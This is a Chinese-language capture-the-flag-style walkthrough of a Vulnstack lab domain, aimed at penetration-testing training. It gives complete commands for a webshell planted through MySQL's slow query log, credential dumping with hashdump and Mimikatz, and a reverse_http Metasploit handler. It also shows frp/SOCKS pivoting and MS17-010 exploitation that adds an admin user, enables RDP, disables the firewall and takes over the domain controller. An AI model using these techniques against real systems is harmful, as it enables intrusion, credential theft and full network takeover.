靶场地址http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 下载过文件后,需配置如下两个虚拟网络(一个内网,一个外网)
靶场拓扑图如下
这里我们的win7是作为Web服务器的,所以我们需要给Web服务器配置两张网卡,如下所示
另外两台机器则是内网机器,只需要设置一张网卡即可
接下来如何检测环境是否搭建完成了呢
通过ipconfig
可查看本机ip,我们这里准备一个kali
机器作为攻击机,然后用win7来pingkali
机器,再ping两台内网机器,如果可以ping
通则说明没问题
接下来在Win7中开启phpstudy
至此,环境搭建完成。
本次使用的攻击机及靶场IP
kali: 192.168.10.128
Win7:外网192.168.10.129 内网192.168.52.143
Win2003:192.168.52.141
Win Server: 192.168.52.138
假设现在已知靶机ip,我们使用nmap
对外网进行扫描
nmap.exe -p1-65535 -Pn -A -T4 192.168.10.129
//这个命令行指令是使用nmap工具(nmap.exe)扫描IP地址为192.168.10.22的设备,扫描端口范围为
1-65535,使用-Pn选项表示不进行主机发现,使用-A选项表示进行操作系统指纹识别,使用-T4选项表示
扫描速度为最快。
探测到80及3306端口存活,访问一下发现是PHP探针
发现绝对路径泄露,接下来扫描一下是否有其他敏感信息泄露,使用dirsearch
进行扫描
此时发现phpmyadmin
文件存在,访问之
尝试弱口令登录,root/root
成功登录
接下来这里的话是我们可以尝试Mysql写入一句话木马,因为我们刚刚在PHP探针界面已知了绝对路径 这里的话我们首先看一下是否有写入权限
SHOW GLOBAL VARIABLES LIKE '%secure%'
secure_file_priv
为NULL
,禁止导入导出。
接下来去寻找绕过secure_file_priv
的方法,发现这篇文章
https://www.cnblogs.com/c1e4r/articles/8902444.html
思路与PHP文件包含中的日志UA传马类似,这里相比更简单一些,通过在日志中写日志,修改日志路径,实现写马。
慢查询日志默认是禁用的,我们这里对其进行开启
set global slow_query_log=1;
接下来修改slow_query_log_file
日志文件的绝对路径以及文件名,我们这里已知绝对路径,因此直接写即可
set global slow_query_log_file='C:/phpStudy/WWW/shell.php'
此时可以看一下是否修改成功
show variables like '%slow%';
可以看到路径是绝对文件路径。
接下来向日志文件写入shell
'<?php @eval($_POST[1]);?>' or sleep(10)
成功执行命令,用蚁剑连接
ipconfig
查看一下网段信息
发现还有另一个ip,一眼顶真,有两张网卡,192.168.52.143
为内网IP
接下来Cs上线,具体步骤如下 设置木马
监听81端口,而后生成木马文件(记得关闭本机的杀软,例如火绒) 接下来通过中国蚁剑上传木马文件
在虚拟终端中执行木马文件
此时可以看到Win7成功上线
Cs此时已上线,我们使用hashdump
抓取密码
hashdump
运行Mimikatz
获取明文密码
在蚁剑虚拟终端中执行如下指令,判断是否存在域及当前域
net config workstation
可以确定当前域为god.org
查看域内机器
Net view
可以发现有两台内网机器,同时确定域服务器名称为OWA
接下来联动msf
,继续进行渗透
在kali
中输入msfconsole
进入msf
接下来利用handler模块开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.10.128
msf6 exploit(multi/handler) > set lport 8888
msf6 exploit(multi/handler) > run
接下来回到Cs,右键选择Spawn
设置Payload为Foreign HTTP
,监听ip为kali
IP,端口为刚刚的8888
端口
而后选择choose
成功上线msf,接下来搜集补丁信息
run post/windows/gather/enum_patches
搜集电脑上安装的软件
run post/windows/gather/enum_applications
发现存在nmap
已知这里存在内网,我们这里添加新路由
run autoroute -s 192.168.52.0/24
run autoroute -p
接下来去设置代理,这里使用frp
进行内网穿透,首先在kali中执行命令如下
./frps -c frps.ini
接下来将frpc.exe
和frpc.ini
通过蚁剑上传到win7,修改frpc.ini
内容如下
[common]
server_addr = 192.168.10.128
server_port = 7000
[plugin_socks]
type = tcp remote_port = 7777 plugin = socks5
接下来执行frpc
frpc.exe -c frpc.ini
可以发现代理已设置成功,直接对内网机器进行攻击即可,扫描机器存活端口
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set threads 100
run
扫描到存在135、445
端口,说明存在SMB
服务
首先扫描机器版本
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.141
run
发现是Windows2003版本,那么接下来我们验证一下是否存永恒之蓝漏洞
search ms17-010
use 1
set RHOSTS 192.168.52.141
run
可以发现确实存在永恒之蓝漏洞,直接打
use 2
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.141
set lport 11111
run
但此时没打下来,因此尝试执行一些命令
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
这里的话我们的思路是添加用户,升级为管理员权限,然后尝试手动开启3389端口实现机器接管
set command net user test hongrisec@2019 /add #添加用户
run
接下来添加管理员权限
set command net localgroup administrators test /add #管理员权限
run
接下来尝试开启3389端口
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
但此时去远控主机却出现了点问题
所以接下来更换一下代理方式,将frp
换为socks5
use auxiliary/server/socks_proxy
set SRVHOST 192.168.10.128
set SRVPORT 1080
run
而后编辑一下配置文件
vim /etc/proxychains.conf
内容如下
接下来尝试远控域成员
proxychains rdesktop 192.168.52.141
用刚刚写入的用户名和密码即可登入 接下来进行反弹shell
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run
至此,成功接管域内机器
扫描域控存活端口发现135、445
存活,存在SMB
服务,探测主机版本
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.138
run
接下来同上,执行命令,添加管理员,反弹shell
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command netsh firewall set opmode mode=disable #关闭防火墙
run
接下来可以用刚刚抓取到的密码进行远程登录
而后我们反弹shell
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
至此,成功接管域控。